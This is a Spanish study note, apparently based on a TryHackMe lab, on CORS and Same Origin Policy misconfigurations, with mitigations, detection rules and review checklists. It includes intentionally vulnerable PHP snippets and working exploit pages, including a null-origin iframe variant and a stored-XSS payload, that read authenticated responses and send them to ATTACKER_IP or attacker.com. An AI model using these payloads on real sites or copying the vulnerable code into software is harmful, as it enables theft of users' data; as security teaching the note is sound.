Ataques y defensa

Malas configuraciones de CORS y SOP

#appsec#auth#browser-security#owasp#web

El Cross-Origin Resource Sharing (CORS) y la Same Origin Policy (SOP) son mecanismos críticos de seguridad web que controlan cómo las aplicaciones web pueden solicitar recursos de…

Resumen

El Cross-Origin Resource Sharing (CORS) y la Same Origin Policy (SOP) son mecanismos críticos de seguridad web que controlan cómo las aplicaciones web pueden solicitar recursos de diferentes dominios. Mientras que SOP actúa como un mecanismo de seguridad fundamental que restringe las interacciones entre diferentes orígenes por defecto, CORS permite excepciones controladas a esta política mediante encabezados HTTP.

Las configuraciones incorrectas de CORS pueden llevar a vulnerabilidades significativas que permiten a atacantes:

  • Exfiltrar datos confidenciales de usuarios autenticados
  • Realizar acciones en nombre de la víctima
  • Eludir controles de autenticación y autorización
  • Encadenar con otros ataques (XSS, CSRF)

Impacto: Alto (confidencialidad e integridad) — Permite acceso no autorizado a datos sensibles mediante el navegador de la víctima.

Conceptos fundamentales

Same Origin Policy (SOP)

La Same Origin Policy es una política de seguridad del navegador que regula cómo las páginas web pueden interactuar entre sí. Según esta política, un script en una página web solo puede acceder a datos de otra página si ambas comparten el mismo origen.

Un origen se define mediante tres componentes:

  1. Esquema (Protocolo): HTTP, HTTPS, FTP, etc.
  2. Host (Dominio): example.com, subdomain.example.com
  3. Puerto: 80, 443, 8080, etc.

Ejemplo de comparación de orígenes:

URL de origen URL de destino ¿Mismo origen? Razón
https://test.com:443/page1 https://test.com:443/page2 ✅ Sí Mismo protocolo, dominio y puerto
https://test.com:443 https://test.com:8080 ❌ No Puerto diferente (443 vs 8080)
http://test.com https://test.com ❌ No Protocolo diferente (HTTP vs HTTPS)
https://test.com https://subdomain.test.com ❌ No Subdominio diferente

Propósito: Prevenir que scripts maliciosos en una página accedan a datos confidenciales en otra página web a través del navegador del usuario.

Alcance: SOP no solo se aplica a scripts JavaScript. También afecta:

  • Imágenes incrustadas
  • Hojas de estilo (CSS)
  • Iframes
  • Fuentes web
  • Solicitudes AJAX/Fetch

Cross-Origin Resource Sharing (CORS)

CORS es un mecanismo definido mediante encabezados HTTP que permite a los servidores especificar excepciones a la política SOP. Mientras SOP restringe por defecto las solicitudes cross-origin, CORS permite a los servidores declarar qué orígenes externos pueden acceder a sus recursos bajo condiciones controladas.

Flujo básico:

  1. El navegador envía una solicitud HTTP con el encabezado Origin
  2. El servidor procesa la solicitud y decide si permite ese origen
  3. El servidor incluye encabezados CORS en la respuesta (ej. Access-Control-Allow-Origin)
  4. El navegador interpreta los encabezados CORS y decide si permite al JavaScript acceder a la respuesta

Punto clave: El servidor NO bloquea la solicitud. Siempre la procesa y devuelve una respuesta con encabezados CORS. Es el navegador quien decide si el JavaScript puede acceder a esa respuesta según los encabezados recibidos.

Encabezados HTTP en CORS

Encabezados principales

Encabezado Descripción Ejemplo
Access-Control-Allow-Origin Especifica qué orígenes pueden acceder al recurso Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods Métodos HTTP permitidos en la solicitud real Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers Encabezados HTTP personalizados permitidos Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials Indica si se permiten credenciales (cookies, auth HTTP) Access-Control-Allow-Credentials: true
Access-Control-Max-Age Tiempo de caché de resultados de preflight (segundos) Access-Control-Max-Age: 3600
Access-Control-Request-Method (Preflight) Indica el método de la solicitud real Access-Control-Request-Method: POST
Access-Control-Request-Headers (Preflight) Indica encabezados personalizados de la solicitud real Access-Control-Request-Headers: X-Custom-Header

Solicitudes simples vs Preflight

Solicitudes simples:

  • Métodos: GET, HEAD, POST
  • Content-Type permitidos:
    • application/x-www-form-urlencoded
    • multipart/form-data
    • text/plain
  • Sin encabezados personalizados (fuera de los seguros para CORS)
  • Se envían directamente al servidor con el encabezado Origin
  • Las cookies y credenciales HTTP se incluyen automáticamente si el sitio las tiene configuradas previamente

Solicitudes preflight (OPTIONS):

  • Se activan cuando:
    • Se usan métodos distintos a GET/HEAD/POST
    • Se usa Content-Type fuera de los permitidos para solicitudes simples
    • Se incluyen encabezados personalizados
  • El navegador envía primero una solicitud OPTIONS para verificar permisos
  • Si el preflight tiene éxito, se envía la solicitud real
  • Las credenciales se envían en la solicitud real solo si Access-Control-Allow-Credentials: true

Access-Control-Allow-Origin (ACAO) en profundidad

Configuraciones de ACAO

1. Origen único (más seguro):

Access-Control-Allow-Origin: https://example.com
  • Solo permite solicitudes de https://example.com
  • Configuración recomendada para recursos sensibles

2. Múltiples orígenes (lista blanca dinámica):

$allowed_origins = ['https://app1.com', 'https://app2.com'];
if (in_array($_SERVER['HTTP_ORIGIN'], $allowed_origins)) {
header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);
}
  • Valida el origen contra una lista blanca predefinida
  • Requiere gestión cuidadosa de la lista

3. Comodín (wildcard) - menos seguro:

Access-Control-Allow-Origin: *
  • Permite solicitudes desde cualquier origen
  • NO se pueden enviar credenciales cuando se usa *
  • Solo adecuado para recursos públicos sin autenticación

4. Con credenciales (cookies, tokens):

Access-Control-Allow-Origin: https://trusted-app.com
Access-Control-Allow-Credentials: true
  • Permite envío de cookies y datos de autenticación HTTP
  • NO se puede usar comodín (*) — debe especificar un origen exacto
  • Las solicitudes simples envían cookies sin este encabezado, pero las solicitudes preflight lo requieren

Variantes / Configuraciones incorrectas comunes

1. Origen arbitrario (Arbitrary Origin)

Descripción: El servidor refleja cualquier valor del encabezado Origin en Access-Control-Allow-Origin sin validación.

Código vulnerable (PHP):

if (isset($_SERVER['HTTP_ORIGIN'])){
header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']."");
header('Access-Control-Allow-Credentials: true');
}

Impacto: Un atacante puede usar cualquier dominio (ej. http://evil.com) y el servidor lo aceptará, permitiendo exfiltración de datos.

2. Expresiones regulares débiles (Bad Regex)

Descripción: El servidor valida orígenes usando patrones regex mal implementados.

Código vulnerable (PHP):

if (isset($_SERVER['HTTP_ORIGIN']) && preg_match('#corssop.thm#', $_SERVER['HTTP_ORIGIN'])) {
header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']."");
header('Access-Control-Allow-Credentials: true');
}

Problema: El patrón #corssop.thm# permite cualquier dominio que contenga la cadena corssop.thm, como:

  • http://corssop.thm.evilcors.thm ✅ Coincide
  • http://badexample.com-corssop.thm ✅ Coincide

Regex común vulnerable:

  • /example.com$/ — Permite badexample.com
  • /^example.com/ — Permite example.com.attacker.com

3. Origen nulo (Null Origin)

Descripción: El servidor confía en el origen null, que puede generarse en contextos específicos.

Código vulnerable (PHP):

header('Access-Control-Allow-Origin: null');
header('Access-Control-Allow-Credentials: true');

Cuándo ocurre null como origen:

  1. Archivos locales (file:/// protocol)
  2. Iframes con atributo sandbox
  3. Redirecciones cruzadas en algunos navegadores
  4. Data URLs (data:text/html,...)

Explotación: Un atacante puede crear un iframe sandboxed que genera origen null y realiza la solicitud maliciosa.

Cómo funciona (mecánica de explotación)

Escenario de ataque típico

  1. Objetivo: Sitio vulnerable con CORS mal configurado (https://vulnerable-app.com)
  2. Atacante: Controla un dominio malicioso (https://evil.com)
  3. Víctima: Usuario autenticado en https://vulnerable-app.com
  4. Ataque:
    • Atacante envía a la víctima un enlace a https://evil.com/exploit.html
    • La víctima visita la página maliciosa
    • JavaScript en evil.com realiza solicitudes cross-origin a vulnerable-app.com
    • El navegador de la víctima envía automáticamente cookies de sesión
    • El servidor responde con Access-Control-Allow-Origin: https://evil.com (configuración incorrecta)
    • El navegador permite que JavaScript acceda a la respuesta
    • El atacante exfiltra datos sensibles a su servidor

Condiciones necesarias

  1. Configuración CORS incorrecta en el servidor objetivo
  2. Víctima autenticada en el sitio vulnerable
  3. Interacción de la víctima (visitar página maliciosa)
  4. Datos sensibles accesibles vía API/endpoints

Pre-requisitos

  • Identificar un endpoint vulnerable con configuración CORS incorrecta
  • La víctima debe tener una sesión activa en el sitio objetivo
  • Capacidad de hacer que la víctima visite un sitio controlado por el atacante
  • (Para exfiltración) Servidor controlado por el atacante para recibir datos

Impacto

Técnico:

  • Confidencialidad: Acceso no autorizado a datos sensibles (perfiles, tokens, API keys)
  • Integridad: Posibilidad de realizar acciones en nombre de la víctima
  • No repudio: Las acciones parecen legítimas (origen del navegador de la víctima)

Negocio:

  • Robo de información personal (PII)
  • Exposición de secretos empresariales
  • Compromiso de cuentas de usuario
  • Violación de cumplimiento (GDPR, PCI-DSS)
  • Daño reputacional

Cómo probar (paso a paso, seguro)

Configuración del laboratorio

Advertencia: Solo prueba en entornos autorizados y controlados.

1. Preparación del entorno de pruebas

A. Configurar hosts locales (Linux/Mac: /etc/hosts, Windows: C:\Windows\System32\drivers\etc\hosts):

MACHINE_IP corssop.thm exploit.evilcors.thm corssop.thm.evilcors.thm

B. Configurar servidor de exfiltración (Apache + PHP):

  1. Instalar Apache y PHP:
Terminal window
sudo apt install php apache2
  1. Crear receiver.php en /var/www/html/:
<?php
header("Access-Control-Allow-Origin: {$_SERVER['HTTP_ORIGIN']}");
header('Access-Control-Allow-Credentials: true');
$postdata = file_get_contents("php://input");
file_put_contents('data.txt', $postdata);
?>
  1. Preparar archivo de salida:
Terminal window
cd /var/www/html
touch data.txt
chmod 0777 data.txt
ls -lah

2. Prueba: Origen arbitrario

Identificación:

  1. Interceptar solicitud con Burp Suite
  2. Añadir encabezado: Origin: http://evil.com
  3. Verificar si la respuesta incluye: Access-Control-Allow-Origin: http://evil.com

Explotación:

Crear exploit.html en servidor del atacante:

<!DOCTYPE html>
<html>
<head>
<title>CORS Exploit - Arbitrary Origin</title>
</head>
<body>
<h1>Explotación en progreso...</h1>
<script>
// Solicitud al sitio vulnerable
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://corssop.thm/arbitrary.php", true);
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
// Exfiltrar datos
var exfil = new XMLHttpRequest();
exfil.open("POST", "http://ATTACKER_IP:81/receiver.php", true);
exfil.withCredentials = true;
// Convertir respuesta a bytes
var body = this.responseText;
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
exfil.send(new Blob([aBody]));
}
};
xhr.send();
</script>
</body>
</html>

Validación:

  1. Verificar en DevTools (Network tab) las dos solicitudes XHR
  2. Comprobar data.txt en el servidor de exfiltración
  3. Verificar logs del servidor para confirmar la conexión de la víctima

3. Prueba: Regex débil

Identificación:

Origin: http://corssop.thm.evilcors.thm

Si la respuesta incluye el origen reflejado, la regex es débil.

Explotación: Similar a origen arbitrario, pero alojando el exploit en un dominio que coincida con la regex débil (ej. http://corssop.thm.evilcors.thm/exploit.html).

4. Prueba: Origen nulo

Identificación:

Origin: null

Si la respuesta incluye Access-Control-Allow-Origin: null, es vulnerable.

Explotación con iframe sandboxed:

<!DOCTYPE html>
<html>
<head>
<title>Null Origin Exploit</title>
</head>
<body>
<iframe id="exploitFrame" style="display:none;"></iframe>
<script>
var exploitCode = `
<script>
function exploit() {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "http://corssop.thm/null.php", true);
xhttp.withCredentials = true;
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var exfiltrate = function(data) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://ATTACKER_IP/receiver.php", true);
xhr.withCredentials = true;
var body = data;
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
};
exfiltrate(this.responseText);
}
};
xhttp.send();
}
exploit();
<\/script>
`;
// Codificar en base64 para data URL
var encodedExploit = btoa(exploitCode);
// Establecer src del iframe con data URL (genera origen null)
document.getElementById('exploitFrame').src = 'data:text/html;base64,' + encodedExploit;
</script>
</body>
</html>

Indicadores (IoCs / señales)

En logs del servidor web:

  • Solicitudes OPTIONS (preflight) inusuales desde orígenes externos
  • Patrones de encabezado Origin sospechosos (subdominios extraños, data URLs)
  • Solicitudes cross-origin a endpoints sensibles (API, panel admin)

En WAF / Proxy:

  • Solicitudes con Origin: null a APIs autenticadas
  • Patrones de Origin que intentan eludir regex (victim.com.attacker.com)
  • Volumen alto de solicitudes cross-origin desde un único origen

En navegador (DevTools):

  • Advertencias CORS en la consola
  • Solicitudes XHR/Fetch cross-origin con credenciales
  • Respuestas bloqueadas por política CORS

En SIEM / Correlation:

  • Usuario accede a sitio externo → Inmediatamente después → Solicitudes API desde el navegador del usuario
  • Múltiples usuarios accediendo al mismo dominio externo seguido de actividad API inusual

Mitigación / Controles

Controles preventivos (diseño/código)

1. Lista blanca estricta de orígenes:

$allowed_origins = [
'https://app1.example.com',
'https://app2.example.com'
];
if (isset($_SERVER['HTTP_ORIGIN'])) {
if (in_array($_SERVER['HTTP_ORIGIN'], $allowed_origins, true)) {
header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);
header('Access-Control-Allow-Credentials: true');
}
}

2. Validación robusta con regex:

// Correcto: anclar inicio y fin, escapar puntos
if (preg_match('/^https:\/\/([a-z0-9-]+\.)?example\.com$/', $_SERVER['HTTP_ORIGIN'])) {
header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);
}

3. Rechazar origen nulo explícitamente:

if (isset($_SERVER['HTTP_ORIGIN']) && $_SERVER['HTTP_ORIGIN'] !== 'null') {
// Procesar validación
}

4. Minimizar uso de Access-Control-Allow-Credentials:

  • Solo habilitar cuando sea estrictamente necesario
  • Nunca combinar con comodín (*)
  • Usar tokens en headers personalizados en lugar de cookies cuando sea posible

5. Segmentar APIs públicas vs privadas:

  • APIs públicas: Usar Access-Control-Allow-Origin: * sin credenciales
  • APIs privadas: Lista blanca estricta + credenciales solo si necesario

Defensa en profundidad

WAF (Web Application Firewall):

  • Reglas para detectar/bloquear patrones sospechosos de Origin
  • Rate limiting en endpoints sensibles
  • Logging de todas las solicitudes cross-origin

Tokens anti-CSRF adicionales:

  • Implementar tokens CSRF incluso con CORS correctamente configurado
  • Defensa por capas contra configuraciones incorrectas futuras

Content Security Policy (CSP):

Content-Security-Policy: default-src 'self'; connect-src 'self' https://trusted-api.com
  • Limita orígenes desde donde el JavaScript puede hacer solicitudes

Autenticación basada en tokens:

  • Usar headers personalizados (ej. Authorization: Bearer <token>)
  • Evitar dependencia exclusiva de cookies de sesión

Auditoría y revisión de código:

  • Revisar todas las configuraciones CORS en código y frameworks
  • Buscar patrones: $_SERVER['HTTP_ORIGIN'], req.headers.origin
  • Herramientas SAST para detectar configuraciones dinámicas peligrosas

Detección (SIEM/EDR/logs)

Logs necesarios

  1. Access logs del servidor web (Apache/Nginx):

    • Capturar encabezado Origin
    • Registrar respuestas CORS (Access-Control-Allow-Origin)
  2. Application logs:

    • Loguear todas las solicitudes cross-origin
    • Registrar intentos de acceso a endpoints sensibles
  3. WAF logs:

    • Alertas de patrones sospechosos
    • Intentos bloqueados

Reglas de detección (ejemplo Sigma)

title: Solicitud CORS sospechosa con credenciales
description: Detecta solicitud cross-origin con credenciales a endpoint sensible
status: experimental
logsource:
category: webserver
detection:
selection:
http_header_origin: '*'
http_header_cookie: '*'
uri: ['/api/user/*', '/api/admin/*', '/api/account/*']
condition: selection
fields:
- client_ip
- http_header_origin
- uri
- http_response_status
falsepositives:
- Aplicaciones legítimas con CORS configurado correctamente
level: medium

Correlación

Escenario de alerta:

  1. Usuario visita dominio externo no corporativo (proxy logs)
  2. Dentro de 60 segundos → Múltiples solicitudes API desde navegador del usuario (web logs)
  3. Patrón: Solicitudes incluyen Origin del dominio externo + cookies de sesión

Respuesta:

  • Alerta de seguridad (medium-high)
  • Revisar dominio externo (reputación, registros DNS/WHOIS)
  • Invalidar sesión del usuario si se confirma como malicioso
  • Investigar datos accedidos

Encadenamiento de ataques

XSS + CORS

Escenario: Aplicación con XSS almacenado y configuración CORS para origen null.

Exploit:

  1. Inyectar XSS que crea iframe sandboxed (genera origen null)
  2. El iframe realiza solicitudes a endpoints con CORS mal configurado
  3. Exfiltrar datos sensibles

Código de ejemplo:

<!-- Payload XSS almacenado -->
<div>
<iframe id="exploitFrame" style="display:none;"></iframe>
<script>
var exploitCode = `
<script>
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "http://vulnerable-app.com/api/sensitive", true);
xhttp.withCredentials = true;
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var exfil = new XMLHttpRequest();
exfil.open("POST", "http://attacker.com/receiver", true);
exfil.send(this.responseText);
}
};
xhttp.send();
<\/script>
`;
var encoded = btoa(exploitCode);
document.getElementById('exploitFrame').src = 'data:text/html;base64,' + encoded;
</script>
</div>

Impacto combinado: Mayor, ya que no requiere interacción de la víctima con sitio externo (se ejecuta en el propio sitio vulnerable).

Ejemplos / Payloads (solo educativos)

Prueba básica de CORS con curl

Terminal window
# Solicitud simple con Origin personalizado
curl -H "Origin: http://evil.com" \
-H "Cookie: session=abc123" \
-v https://target.com/api/user
# Buscar en respuesta:
# Access-Control-Allow-Origin: http://evil.com
# Access-Control-Allow-Credentials: true

Prueba de origen nulo

Terminal window
curl -H "Origin: null" \
-H "Cookie: session=abc123" \
-v https://target.com/api/sensitive

Prueba de regex débil

Terminal window
# Si el patrón es /victim.com/
curl -H "Origin: https://victim.com.attacker.com" \
-v https://target.com/api/data
# Si el patrón es /^victim.com/
curl -H "Origin: https://victim.com-evil.com" \
-v https://target.com/api/data

Diagrama

sequenceDiagram
    participant Víctima
    participant Navegador
    participant SitioMalicioso as Sitio Malicioso (evil.com)
    participant ServidorVulnerable as Servidor Vulnerable (victim.com)
    participant ServidorAtacante as Servidor Atacante (exfil)

    Víctima->>Navegador: Visita evil.com/exploit.html
    Navegador->>SitioMalicioso: GET /exploit.html
    SitioMalicioso-->>Navegador: JavaScript malicioso

    Note over Navegador: JavaScript ejecuta solicitud cross-origin

    Navegador->>ServidorVulnerable: GET /api/sensitive<br/>Origin: https://evil.com<br/>Cookie: session=xyz

    Note over ServidorVulnerable: Configuración CORS incorrecta:<br/>Refleja cualquier Origin

    ServidorVulnerable-->>Navegador: 200 OK<br/>Access-Control-Allow-Origin: https://evil.com<br/>Access-Control-Allow-Credentials: true<br/>{datos sensibles}

    Note over Navegador: CORS permite acceso a respuesta

    Navegador->>ServidorAtacante: POST /receiver.php<br/>{datos sensibles}
    ServidorAtacante-->>Navegador: 200 OK

    Note over ServidorAtacante: Atacante obtiene datos<br/>de la víctima

Flujo de decisión para implementación segura

flowchart TD
    A[Necesitas CORS?] -->|No| B[No configurar CORS<br/>SOP protege por defecto]
    A -->|Sí| C{Recurso público<br/>sin autenticación?}

    C -->|Sí| D[Access-Control-Allow-Origin: *<br/>SIN Access-Control-Allow-Credentials]

    C -->|No| E{Un solo origen<br/>confiable?}

    E -->|Sí| F[Access-Control-Allow-Origin: https://trusted.com<br/>+ Access-Control-Allow-Credentials: true si necesario]

    E -->|No| G[Múltiples orígenes confiables]
    G --> H[Implementar lista blanca]
    H --> I{Origen en<br/>lista blanca?}
    I -->|Sí| J[Set ACAO al origen<br/>+ Credentials si necesario]
    I -->|No| K[NO establecer ACAO<br/>Denegar acceso]

    F --> L[Validar origen<br/>NO usar regex débil]
    J --> L

    L --> M{Origen es 'null'?}
    M -->|Sí| N[RECHAZAR<br/>origen null]
    M -->|No| O[PERMITIR]

    style B fill:#90EE90
    style D fill:#FFD700
    style F fill:#90EE90
    style K fill:#FF6B6B
    style N fill:#FF6B6B
    style O fill:#90EE90

Herramientas de prueba

Burp Suite

  • Repeater: Modificar encabezado Origin manualmente
  • Intruder: Probar múltiples valores de Origin (lista de payloads)
  • Scanner: Detecta algunas configuraciones CORS incorrectas (dependiendo de extensiones)

OWASP ZAP

  • Active Scanner: Pruebas automatizadas de CORS
  • Request Editor: Modificar Origin manualmente

Herramientas especializadas

  • CORScanner (GitHub): Escáner automatizado de misconfigurations CORS
  • Corsy (GitHub): Escáner de vulnerabilidades CORS con soporte para bypass

Comando curl (manual)

Terminal window
# Script básico de prueba
for origin in "http://evil.com" "null" "http://victim.com.evil.com"; do
echo "[+] Probando Origin: $origin"
curl -H "Origin: $origin" -v https://target.com/api/endpoint 2>&1 | grep -i "access-control"
done

Checklist de revisión

Para desarrolladores:

  • Lista blanca de orígenes implementada (no reflejar Origin directamente)
  • Validación robusta (regex anclada, escape correcto)
  • Rechazar explícitamente origen null
  • Access-Control-Allow-Credentials solo cuando sea necesario
  • Nunca usar * con Access-Control-Allow-Credentials: true
  • APIs públicas vs privadas segmentadas
  • Tokens CSRF implementados como capa adicional
  • CSP configurado para limitar destinos de fetch/XHR

Para auditores:

  • Revisar todos los endpoints que establezcan headers CORS
  • Probar con orígenes arbitrarios, nulos y patrones de bypass
  • Verificar si se envían credenciales en solicitudes cross-origin
  • Revisar código para patrones peligrosos ($_SERVER['HTTP_ORIGIN'] sin validación)
  • Probar encadenamiento con XSS
  • Verificar logs y monitoreo de solicitudes cross-origin

Referencias

  1. TryHackMe - CORS & SOP Room — Laboratorio práctico de vulnerabilidades CORS
  2. OWASP - CORS PortSwigger — Guía de PortSwigger sobre CORS
  3. MDN Web Docs - CORS — Documentación técnica de CORS
  4. W3C - CORS Specification — Especificación oficial de CORS
  5. OWASP Testing Guide - Testing for CORS — Metodología de pruebas OWASP

Notas adicionales

  • Las configuraciones CORS incorrectas son extremadamente comunes en aplicaciones modernas (SPAs, microservicios, APIs)
  • La validación de origen es un control crítico pero a menudo implementado incorrectamente
  • Frameworks y librerías pueden tener defaults inseguros (ej. reflejar Origin automáticamente)
  • La combinación de SOP + CORS es compleja — comprender ambos mecanismos es fundamental
  • Los navegadores modernos refuerzan SOP/CORS de forma estricta, pero la configuración del servidor determina la seguridad real

Relacionado:

Título original en mis apuntes: CORS and SOP Misconfigurations